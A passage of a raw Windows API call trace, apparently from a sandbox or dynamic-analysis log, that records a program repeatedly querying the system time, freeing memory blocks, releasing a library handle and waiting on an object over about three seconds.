GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x397ceb18, dwHighDateTime=0x1d9eb0c)) [0210.931] free (_Block=0x20abc281dc0) [0210.932] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.932] free (_Block=0x20abc2867b0) [0210.933] free (_Block=0x20abc27cb20) [0210.933] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39900b8e, dwHighDateTime=0x1d9eb0c)) [0211.055] free (_Block=0x20abc281f00) [0211.055] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.056] free (_Block=0x20abc2867b0) [0211.057] free (_Block=0x20abc2a8280) [0211.057] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39927bca, dwHighDateTime=0x1d9eb0c)) [0211.073] free (_Block=0x20abc281c80) [0211.073] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.075] free (_Block=0x20abc2867b0) [0211.077] free (_Block=0x20abc27cb20) [0211.077] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3994cf3d, dwHighDateTime=0x1d9eb0c)) [0211.085] free (_Block=0x20abc282020) [0211.085] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.086] free (_Block=0x20abc2867b0) [0211.087] free (_Block=0x20abc27cb20) [0211.087] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.239] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39ac9816, dwHighDateTime=0x1d9eb0c)) [0211.240] free (_Block=0x20abc281a00) [0211.240] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.241] free (_Block=0x20abc2867b0) [0211.242] free (_Block=0x20abc27cb20) [0211.242] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39ac9816, dwHighDateTime=0x1d9eb0c)) [0211.249] free (_Block=0x20abc282020) [0211.249] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.250] free (_Block=0x20abc2867b0) [0211.251] free (_Block=0x20abc27cb20) [0211.251] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39b15e82, dwHighDateTime=0x1d9eb0c)) [0211.266] free (_Block=0x20abc281ea0) [0211.266] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.267] free (_Block=0x20abc2867b0) [0211.268] free (_Block=0x20abc27cf80) [0211.268] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39b15e82, dwHighDateTime=0x1d9eb0c)) [0211.275] free (_Block=0x20abc281b20) [0211.275] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.276] free (_Block=0x20abc2867b0) [0211.276] free (_Block=0x20abc27cb20) [0211.276] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39d900fb, dwHighDateTime=0x1d9eb0c)) [0211.528] free (_Block=0x20abc281d40) [0211.528] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.530] free (_Block=0x20abc2867b0) [0211.533] free (_Block=0x20abc27cb20) [0211.533] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39d9eaad, dwHighDateTime=0x1d9eb0c)) [0211.541] free (_Block=0x20abc281ba0) [0211.542] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.542] free (_Block=0x20abc2867b0) [0211.543] free (_Block=0x20abc27cb20) [0211.544] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39dc487e, dwHighDateTime=0x1d9eb0c)) [0211.554] free (_Block=0x20abc281ba0) [0211.554] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.555] free (_Block=0x20abc2867b0) [0211.555] free (_Block=0x20abc27cb20) [0211.556] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39dec81a, dwHighDateTime=0x1d9eb0c)) [0211.564] free (_Block=0x20abc281960) [0211.564] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.565] free (_Block=0x20abc2867b0) [0211.565] free (_Block=0x20abc27cf80) [0211.565] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39ef58ac, dwHighDateTime=0x1d9eb0c)) [0211.683] free (_Block=0x20abc281f80) [0211.684] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.685] free (_Block=0x20abc2867b0) [0211.686] free (_Block=0x20abc2a8640) [0211.686] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39f41e5e, dwHighDateTime=0x1d9eb0c)) [0211.705] free (_Block=0x20abc281ae0) [0211.705] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.706] free (_Block=0x20abc2867b0) [0211.707] free (_Block=0x20abc27cb20) [0211.707] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39f41e5e, dwHighDateTime=0x1d9eb0c)) [0211.715] free (_Block=0x20abc281f60) [0211.715] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.716] free (_Block=0x20abc2867b0) [0211.716] free (_Block=0x20abc27cb20) [0211.717] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a00172b, dwHighDateTime=0x1d9eb0c)) [0211.792] free (_Block=0x20abc281be0) [0211.793] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.794] free (_Block=0x20abc2867b0) [0211.795] free (_Block=0x20abc27cb20) [0211.796] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a09948d, dwHighDateTime=0x1d9eb0c)) [0211.848] free (_Block=0x20abc281fe0) [0211.848] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.849] free (_Block=0x20abc2867b0) [0211.849] free (_Block=0x20abc27cb20) [0211.849] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.860] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a0bf580, dwHighDateTime=0x1d9eb0c)) [0211.861] free (_Block=0x20abc281960) [0211.861] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.862] free (_Block=0x20abc2867b0) [0211.863] free (_Block=0x20abc27cb20) [0211.863] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a0bf580, dwHighDateTime=0x1d9eb0c)) [0211.869] free (_Block=0x20abc281e00) [0211.869] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.870] free (_Block=0x20abc2867b0) [0211.871] free (_Block=0x20abc27cb20) [0211.871] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0211.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a0e5d29, dwHighDateTime=0x1d9eb0c)) [0211.878] free (_Block=0x20abc281fc0) [0211.878] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0211.878] free (_Block=0x20abc2867b0) [0211.879] free (_Block=0x20abc27cf80) [0211.879] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a23cf43, dwHighDateTime=0x1d9eb0c)) [0212.022] free (_Block=0x20abc281e00) [0212.022] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.023] free (_Block=0x20abc2867b0) [0212.024] free (_Block=0x20abc27cf80) [0212.024] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.032] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a2635ae, dwHighDateTime=0x1d9eb0c)) [0212.035] free (_Block=0x20abc281fc0) [0212.035] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.036] free (_Block=0x20abc2867b0) [0212.036] free (_Block=0x20abc27cb20) [0212.036] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a2635ae, dwHighDateTime=0x1d9eb0c)) [0212.044] free (_Block=0x20abc281ec0) [0212.044] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.044] free (_Block=0x20abc2867b0) [0212.045] free (_Block=0x20abc27cf80) [0212.045] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a2893a3, dwHighDateTime=0x1d9eb0c)) [0212.054] free (_Block=0x20abc281fc0) [0212.054] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.055] free (_Block=0x20abc2867b0) [0212.055] free (_Block=0x20abc2a8c80) [0212.055] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a3ba749, dwHighDateTime=0x1d9eb0c)) [0212.203] free (_Block=0x20abc281de0) [0212.203] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.204] free (_Block=0x20abc2867b0) [0212.204] free (_Block=0x20abc27cf80) [0212.204] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.210] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a407183, dwHighDateTime=0x1d9eb0c)) [0212.210] free (_Block=0x20abc281e60) [0212.210] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.211] free (_Block=0x20abc2867b0) [0212.212] free (_Block=0x20abc27cb20) [0212.212] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.217] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a407183, dwHighDateTime=0x1d9eb0c)) [0212.218] free (_Block=0x20abc281ae0) [0212.218] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.218] free (_Block=0x20abc2867b0) [0212.219] free (_Block=0x20abc27cb20) [0212.219] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a42cecc, dwHighDateTime=0x1d9eb0c)) [0212.225] free (_Block=0x20abc281c00) [0212.225] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.226] free (_Block=0x20abc2867b0) [0212.228] free (_Block=0x20abc27cb20) [0212.228] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a4531c3, dwHighDateTime=0x1d9eb0c)) [0212.238] free (_Block=0x20abc281c80) [0212.238] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.239] free (_Block=0x20abc2867b0) [0212.240] free (_Block=0x20abc27cb20) [0212.240] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a4531c3, dwHighDateTime=0x1d9eb0c)) [0212.247] free (_Block=0x20abc281fe0) [0212.247] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.247] free (_Block=0x20abc2867b0) [0212.248] free (_Block=0x20abc27cb20) [0212.248] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a5d048f, dwHighDateTime=0x1d9eb0c)) [0212.394] free (_Block=0x20abc281e60) [0212.395] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.396] free (_Block=0x20abc2867b0) [0212.397] free (_Block=0x20abc27cf80) [0212.397] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a77406f, dwHighDateTime=0x1d9eb0c)) [0212.568] free (_Block=0x20abc281e00) [0212.568] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.569] free (_Block=0x20abc2867b0) [0212.569] free (_Block=0x20abc27cb20) [0212.569] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a77406f, dwHighDateTime=0x1d9eb0c)) [0212.576] free (_Block=0x20abc281b60) [0212.576] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.576] free (_Block=0x20abc2867b0) [0212.577] free (_Block=0x20abc27cb20) [0212.578] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a79a394, dwHighDateTime=0x1d9eb0c)) [0212.584] free (_Block=0x20abc281a80) [0212.584] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.585] free (_Block=0x20abc2867b0) [0212.586] free (_Block=0x20abc27cb20) [0212.586] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a7c05fe, dwHighDateTime=0x1d9eb0c)) [0212.595] free (_Block=0x20abc281e00) [0212.595] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.596] free (_Block=0x20abc2867b0) [0212.596] free (_Block=0x20abc27cb20) [0212.597] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a964857, dwHighDateTime=0x1d9eb0c)) [0212.766] free (_Block=0x20abc2819a0) [0212.766] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.767] free (_Block=0x20abc2867b0) [0212.767] free (_Block=0x20abc27cb20) [0212.768] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a964857, dwHighDateTime=0x1d9eb0c)) [0212.774] free (_Block=0x20abc281ea0) [0212.774] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.775] free (_Block=0x20abc2867b0) [0212.776] free (_Block=0x20abc27cf80) [0212.776] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a98a51a, dwHighDateTime=0x1d9eb0c)) [0212.782] free (_Block=0x20abc282060) [0212.782] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.783] free (_Block=0x20abc2867b0) [0212.783] free (_Block=0x20abc27cb20) [0212.783] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a98a51a, dwHighDateTime=0x1d9eb0c)) [0212.789] free (_Block=0x20abc281a80) [0212.789] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.790] free (_Block=0x20abc2867b0) [0212.791] free (_Block=0x20abc27cb20) [0212.791] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.803] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3a9b068b, dwHighDateTime=0x1d9eb0c)) [0212.804] free (_Block=0x20abc281f80) [0212.804] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.805] free (_Block=0x20abc2867b0) [0212.806] free (_Block=0x20abc27cb20) [0212.806] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.969] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3ab53f8b, dwHighDateTime=0x1d9eb0c)) [0212.969] free (_Block=0x20abc282000) [0212.969] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.970] free (_Block=0x20abc2867b0) [0212.971] free (_Block=0x20abc27cb20) [0212.971] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3ab53f8b, dwHighDateTime=0x1d9eb0c)) [0212.978] free (_Block=0x20abc281d20) [0212.978] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.979] free (_Block=0x20abc2867b0) [0212.980] free (_Block=0x20abc27cf80) [0212.980] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0212.986] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3ab79fcb, dwHighDateTime=0x1d9eb0c)) [0212.987] free (_Block=0x20abc281cc0) [0212.987] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0212.988] free (_Block=0x20abc2867b0) [0212.989] free (_Block=0x20abc27cf80) [0212.989] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3aba048d, dwHighDateTime=0x1d9eb0c)) [0213.004] free (_Block=0x20abc281ae0) [0213.004] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.005] free (_Block=0x20abc2867b0) [0213.006] free (_Block=0x20abc27cf80) [0213.006] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.174] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3ad43bfe, dwHighDateTime=0x1d9eb0c)) [0213.175] free (_Block=0x20abc281fc0) [0213.175] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.176] free (_Block=0x20abc2867b0) [0213.177] free (_Block=0x20abc27cf80) [0213.177] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3ad6a0bd, dwHighDateTime=0x1d9eb0c)) [0213.187] free (_Block=0x20abc281f20) [0213.187] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.188] free (_Block=0x20abc2867b0) [0213.188] free (_Block=0x20abc2a7f10) [0213.188] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3ad90127, dwHighDateTime=0x1d9eb0c)) [0213.208] free (_Block=0x20abc2819c0) [0213.208] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.208] free (_Block=0x20abc2867b0) [0213.209] free (_Block=0x20abc27cf80) [0213.209] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3af0d948, dwHighDateTime=0x1d9eb0c)) [0213.363] free (_Block=0x20abc281f60) [0213.363] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.364] free (_Block=0x20abc2867b0) [0213.364] free (_Block=0x20abc27cb20) [0213.364] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3af0d948, dwHighDateTime=0x1d9eb0c)) [0213.371] free (_Block=0x20abc281fc0) [0213.371] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.372] free (_Block=0x20abc2867b0) [0213.373] free (_Block=0x20abc27cb20) [0213.373] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3af33ad0, dwHighDateTime=0x1d9eb0c)) [0213.379] free (_Block=0x20abc281e80) [0213.379] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.380] free (_Block=0x20abc2867b0) [0213.381] free (_Block=0x20abc27cf80) [0213.382] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3af5ad9a, dwHighDateTime=0x1d9eb0c)) [0213.391] free (_Block=0x20abc281f60) [0213.392] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.393] free (_Block=0x20abc2867b0) [0213.394] free (_Block=0x20abc27cb20) [0213.394] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3af5ad9a, dwHighDateTime=0x1d9eb0c)) [0213.400] free (_Block=0x20abc282080) [0213.400] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.401] free (_Block=0x20abc2867b0) [0213.402] free (_Block=0x20abc27cb20) [0213.402] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b111622, dwHighDateTime=0x1d9eb0c)) [0213.585] free (_Block=0x20abc2820a0) [0213.585] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.587] free (_Block=0x20abc2867b0) [0213.588] free (_Block=0x20abc27cb20) [0213.589] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b137a64, dwHighDateTime=0x1d9eb0c)) [0213.596] free (_Block=0x20abc2819a0) [0213.596] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.597] free (_Block=0x20abc2867b0) [0213.597] free (_Block=0x20abc27cb20) [0213.597] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 